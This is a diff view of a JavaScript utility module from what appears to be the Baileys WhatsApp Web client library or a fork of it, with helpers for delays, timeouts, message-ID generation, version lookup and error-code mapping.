timeout && clearTimeout(timeout);
|
|
86
|
+
timeout = undefined;
|
|
87
|
+
},
|
|
88
|
+
setTask: (newTask) => (task = newTask),
|
|
89
|
+
setInterval: (newInterval) => (intervalMs = newInterval)
|
|
90
|
+
};
|
|
91
|
+
};
|
|
92
|
+
export const delay = (ms) => delayCancellable(ms).delay;
|
|
93
|
+
export const delayCancellable = (ms) => {
|
|
94
|
+
const stack = new Error().stack;
|
|
95
|
+
let timeout;
|
|
96
|
+
let reject;
|
|
97
|
+
const delay = new Promise((resolve, _reject) => {
|
|
98
|
+
timeout = setTimeout(resolve, ms);
|
|
99
|
+
reject = _reject;
|
|
100
|
+
});
|
|
101
|
+
const cancel = () => {
|
|
102
|
+
clearTimeout(timeout);
|
|
103
|
+
reject(new Boom('Cancelled', {
|
|
104
|
+
statusCode: 500,
|
|
105
|
+
data: {
|
|
106
|
+
stack
|
|
107
|
+
}
|
|
108
|
+
}));
|
|
109
|
+
};
|
|
110
|
+
return { delay, cancel };
|
|
111
|
+
};
|
|
112
|
+
export async function promiseTimeout(ms, promise) {
|
|
113
|
+
if (!ms) {
|
|
114
|
+
return new Promise(promise);
|
|
115
|
+
}
|
|
116
|
+
const stack = new Error().stack;
|
|
117
|
+
// Create a promise that rejects in <ms> milliseconds
|
|
118
|
+
const { delay, cancel } = delayCancellable(ms);
|
|
119
|
+
const p = new Promise((resolve, reject) => {
|
|
120
|
+
delay
|
|
121
|
+
.then(() => reject(new Boom('Timed Out', {
|
|
122
|
+
statusCode: DisconnectReason.timedOut,
|
|
123
|
+
data: {
|
|
124
|
+
stack
|
|
125
|
+
}
|
|
126
|
+
})))
|
|
127
|
+
.catch(err => reject(err));
|
|
128
|
+
promise(resolve, reject);
|
|
129
|
+
}).finally(cancel);
|
|
130
|
+
return p;
|
|
131
|
+
}
|
|
132
|
+
// inspired from whatsmeow code
|
|
133
|
+
// https://github.com/tulir/whatsmeow/blob/64bc969fbe78d31ae0dd443b8d4c80a5d026d07a/send.go#L42
|
|
134
|
+
export const generateMessageIDV2 = (userId) => {
|
|
135
|
+
const data = Buffer.allocUnsafe(44);
|
|
136
|
+
data.writeBigUInt64BE(BigInt(Date.now() / 1000 | 0), 0);
|
|
137
|
+
if (userId) {
|
|
138
|
+
const userStr = userId.split('@')[0].split(':')[0];
|
|
139
|
+
if (userStr) {
|
|
140
|
+
const len = data.write(userStr, 8);
|
|
141
|
+
data.write('@c.us', 8 + len);
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
randomFillSync(data, 28, 16);
|
|
145
|
+
const hash = createHash('sha256').update(data).digest();
|
|
146
|
+
const hex = hash.toString('hex', 0, 9).toUpperCase();
|
|
147
|
+
const baseId = '3EB0' + hex;
|
|
148
|
+
const pos = 4 + (hash[0] & 15);
|
|
149
|
+
return baseId.slice(0, pos) + 'STARFALL' + baseId.slice(pos);
|
|
150
|
+
};
|
|
151
|
+
// generate a random ID to attach to a message
|
|
152
|
+
export const generateMessageID = () => '3EB0' + randomBytes(18).toString('hex').toUpperCase();
|
|
153
|
+
export function bindWaitForEvent(ev, event) {
|
|
154
|
+
return async (check, timeoutMs) => {
|
|
155
|
+
let listener;
|
|
156
|
+
let closeListener;
|
|
157
|
+
await promiseTimeout(timeoutMs, (resolve, reject) => {
|
|
158
|
+
closeListener = ({ connection, lastDisconnect }) => {
|
|
159
|
+
if (connection === 'close') {
|
|
160
|
+
reject(lastDisconnect?.error || new Boom('Connection Closed', { statusCode: DisconnectReason.connectionClosed }));
|
|
161
|
+
}
|
|
162
|
+
};
|
|
163
|
+
ev.on('connection.update', closeListener);
|
|
164
|
+
listener = async (update) => {
|
|
165
|
+
if (await check(update)) {
|
|
166
|
+
resolve();
|
|
167
|
+
}
|
|
168
|
+
};
|
|
169
|
+
ev.on(event, listener);
|
|
170
|
+
}).finally(() => {
|
|
171
|
+
ev.off(event, listener);
|
|
172
|
+
ev.off('connection.update', closeListener);
|
|
173
|
+
});
|
|
174
|
+
};
|
|
175
|
+
}
|
|
176
|
+
export const bindWaitForConnectionUpdate = (ev) => bindWaitForEvent(ev, 'connection.update');
|
|
177
|
+
/**
|
|
178
|
+
* utility that fetches latest baileys version from the master branch.
|
|
179
|
+
* Use to ensure your WA connection is always on the latest version
|
|
180
|
+
*/
|
|
181
|
+
export const fetchLatestBaileysVersion = async (options = {}) => {
|
|
182
|
+
const URL = 'https://raw.githubusercontent.com/WhiskeySockets/Baileys/refs/heads/master/src/Defaults/baileys-version.json';
|
|
183
|
+
try {
|
|
184
|
+
const response = await fetch(URL, {
|
|
185
|
+
dispatcher: options.dispatcher,
|
|
186
|
+
method: 'GET',
|
|
187
|
+
headers: options.headers
|
|
188
|
+
});
|
|
189
|
+
if (!response.ok) {
|
|
190
|
+
throw new Boom(`Failed to fetch latest Baileys version: ${response.statusText}`, { statusCode: response.status });
|
|
191
|
+
}
|
|
192
|
+
const text = await response.json();
|
|
193
|
+
const versionMatch = text.version
|
|
194
|
+
if (versionMatch) {
|
|
195
|
+
const version = versionMatch
|
|
196
|
+
return {
|
|
197
|
+
version,
|
|
198
|
+
isLatest: true
|
|
199
|
+
};
|
|
200
|
+
}
|
|
201
|
+
else {
|
|
202
|
+
throw new Error('Could not parse version from Defaults/index.ts');
|
|
203
|
+
}
|
|
204
|
+
}
|
|
205
|
+
catch (error) {
|
|
206
|
+
return {
|
|
207
|
+
version: baileysVersion,
|
|
208
|
+
isLatest: false,
|
|
209
|
+
error
|
|
210
|
+
};
|
|
211
|
+
}
|
|
212
|
+
};
|
|
213
|
+
/**
|
|
214
|
+
* A utility that fetches the latest web version of whatsapp.
|
|
215
|
+
* Use to ensure your WA connection is always on the latest version
|
|
216
|
+
*/
|
|
217
|
+
export const fetchLatestWaWebVersion = async (options = {}) => {
|
|
218
|
+
try {
|
|
219
|
+
// Absolute minimal headers required to bypass anti-bot detection
|
|
220
|
+
const defaultHeaders = {
|
|
221
|
+
'sec-fetch-site': 'none',
|
|
222
|
+
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36'
|
|
223
|
+
};
|
|
224
|
+
const headers = { ...defaultHeaders, ...options.headers };
|
|
225
|
+
const response = await fetch('https://web.whatsapp.com/sw.js', {
|
|
226
|
+
...options,
|
|
227
|
+
method: 'GET',
|
|
228
|
+
headers
|
|
229
|
+
});
|
|
230
|
+
if (!response.ok) {
|
|
231
|
+
throw new Boom(`Failed to fetch sw.js: ${response.statusText}`, { statusCode: response.status });
|
|
232
|
+
}
|
|
233
|
+
const data = await response.text();
|
|
234
|
+
const regex = /\\?"client_revision\\?":\s*(\d+)/;
|
|
235
|
+
const match = data.match(regex);
|
|
236
|
+
if (!match?.[1]) {
|
|
237
|
+
return {
|
|
238
|
+
version: baileysVersion,
|
|
239
|
+
isLatest: false,
|
|
240
|
+
error: {
|
|
241
|
+
message: 'Could not find client revision in the fetched content'
|
|
242
|
+
}
|
|
243
|
+
};
|
|
244
|
+
}
|
|
245
|
+
const clientRevision = match[1];
|
|
246
|
+
return {
|
|
247
|
+
version: [2, 3000, +clientRevision],
|
|
248
|
+
isLatest: true
|
|
249
|
+
};
|
|
250
|
+
}
|
|
251
|
+
catch (error) {
|
|
252
|
+
return {
|
|
253
|
+
version: baileysVersion,
|
|
254
|
+
isLatest: false,
|
|
255
|
+
error
|
|
256
|
+
};
|
|
257
|
+
}
|
|
258
|
+
};
|
|
259
|
+
/** unique message tag prefix for MD clients */
|
|
260
|
+
export const generateMdTagPrefix = () => {
|
|
261
|
+
const bytes = randomBytes(4);
|
|
262
|
+
return `${bytes.readUInt16BE()}.${bytes.readUInt16BE(2)}-`;
|
|
263
|
+
};
|
|
264
|
+
const STATUS_MAP = {
|
|
265
|
+
sender: proto.WebMessageInfo.Status.SERVER_ACK,
|
|
266
|
+
played: proto.WebMessageInfo.Status.PLAYED,
|
|
267
|
+
read: proto.WebMessageInfo.Status.READ,
|
|
268
|
+
'read-self': proto.WebMessageInfo.Status.READ
|
|
269
|
+
};
|
|
270
|
+
/**
|
|
271
|
+
* Given a type of receipt, returns what the new status of the message should be
|
|
272
|
+
* @param type type from receipt
|
|
273
|
+
*/
|
|
274
|
+
export const getStatusFromReceiptType = (type) => {
|
|
275
|
+
const status = STATUS_MAP[type];
|
|
276
|
+
if (typeof type === 'undefined') {
|
|
277
|
+
return proto.WebMessageInfo.Status.DELIVERY_ACK;
|
|
278
|
+
}
|
|
279
|
+
return status;
|
|
280
|
+
};
|
|
281
|
+
const CODE_MAP = {
|
|
282
|
+
conflict: DisconnectReason.connectionReplaced
|
|
283
|
+
};
|
|
284
|
+
/**
|
|
285
|
+
* Stream errors generally provide a reason, map that to a baileys DisconnectReason
|
|
286
|
+
* @param reason the string reason given, eg. "conflict"
|
|
287
|
+
*/
|
|
288
|
+
export const getErrorCodeFromStreamError = (node) => {
|
|
289
|
+
const [reasonNode] = getAllBinaryNodeChildren(node);
|
|
290
|
+
let reason = reasonNode?.tag || 'unknown';
|
|
291
|
+
const statusCode = +(node.attrs.code || CODE_MAP[reason] || DisconnectReason.badSession);
|
|
292
|
+
if (statusCode === DisconnectReason.restartRequired) {
|
|
293
|
+
reason = 'restart required';
|
|
294
|
+
}
|
|
295
|
+
return {
|
|
296
|
+
reason,
|
|
297
|
+
statusCode
|
|
298
|
+
};
|
|
299
|
+
};
|
|
300
|
+
export const getCallStatusFromNode = ({ tag, attrs }) => {
|
|
301
|
+
let status;
|
|
302
|
+
switch (tag) {
|
|
303
|
+
case 'offer':
|
|
304
|
+
case 'offer_notice':
|
|
305
|
+
status = 'offer';
|
|
306
|
+
break;
|
|
307
|
+
case 'terminate':
|
|
308
|
+
if (attrs.reason === 'timeout') {
|
|
309
|
+
status = 'timeout';
|
|
310
|
+
}
|
|
311
|
+
else {
|
|
312
|
+
//fired when accepted/rejected/timeout/caller hangs up
|
|
313
|
+
status = 'terminate';
|
|
314
|
+
}
|
|
315
|
+
break;
|
|
316
|
+
case 'reject':
|
|
317
|
+
status = 'reject';
|
|
318
|
+
break;
|
|
319
|
+
case 'accept':
|
|
320
|
+
status = 'accept';
|
|
321
|
+
break;
|
|
322
|
+
default:
|
|
323
|
+
status = 'ringing';
|
|
324
|
+
break;
|
|
325
|
+
}
|
|
326
|
+
return status;
|
|
327
|
+
};
|
|
328
|
+
const UNEXPECTED_SERVER_CODE_TEXT = 'Unexpected server response: ';
|
|
329
|
+
export const getCodeFromWSError = (error) => {
|
|
330
|
+
let statusCode = 500;
|
|
331
|
+
if (error?.message?.includes(UNEXPECTED_SERVER_CODE_TEXT)) {
|
|
332
|
+
const code = +error?.message.slice(UNEXPECTED_SERVER_CODE_TEXT.length);
|
|
333
|
+
if (!Number.isNaN(code) && code >= 400) {
|
|
334
|
+
statusCode = code;
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
else if (
|
|
338
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
339
|
+
error?.code?.startsWith('E') ||
|
|
340
|
+
error?.message?.includes('timed out')) {
|
|
341
|
+
// handle ETIMEOUT, ENOTFOUND etc
|
|
342
|
+
statusCode = 408;
|
|
343
|
+
}
|
|
344
|
+
return statusCode;
|
|
345
|
+
};
|
|
346
|
+
/**
|
|
347
|
+
* Is the given platform WA business
|
|
348
|
+
* @param platform AuthenticationCreds.platform
|
|
349
|
+
*/
|
|
350
|
+
export const isWABusinessPlatform = (platform) => {
|
|
351
|
+
return platform === 'smbi' || platform === 'smba';
|
|
352
|
+
};
|
|
353
|
+
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
354
|
+
export function trimUndefined(obj) {
|
|
355
|
+
for (const key in obj) {
|
|
356
|
+
if (typeof obj[key] === 'undefined') {
|
|
357
|
+
delete obj[key];
|
|
358
|
+
}
|
|
359
|
+
}
|
|
360
|
+
return obj;
|
|
361
|
+
}
|
|
362
|
+
const CROCKFORD_CHARACTERS = '123456789ABCDEFGHJKLMNPQRSTVWXYZ';
|
|
363
|
+
export function bytesToCrockford(buffer) {
|
|
364
|
+
let value = 0;
|
|
365
|
+
let bitCount = 0;
|
|
366
|
+
const crockford = [];
|
|
367
|
+
for (const element of buffer) {
|
|
368
|
+
value = (value << 8) | (element & 0xff);
|
|
369
|
+
bitCount += 8;
|
|
370
|
+
while (bitCount >= 5) {
|
|
371
|
+
crockford.push(CROCKFORD_CHARACTERS.charAt((value >>> (bitCount - 5)) & 31));
|
|
372
|
+
bitCount -= 5;
|
|
373
|
+
}
|
|
374
|
+
}
|
|
375
|
+
if (bitCount > 0) {
|
|
376
|
+
crockford.push(CROCKFORD_CHARACTERS.charAt((value << (5 - bitCount)) & 31));
|
|
377
|
+
}
|
|
378
|
+
return crockford.join('');
|
|
379
|
+
}
|
|
380
|
+
export function encodeNewsletterMessage(message) {
|
|
381
|
+
return proto.Message.encode(message).finish();
|
|
382
|
+
}
|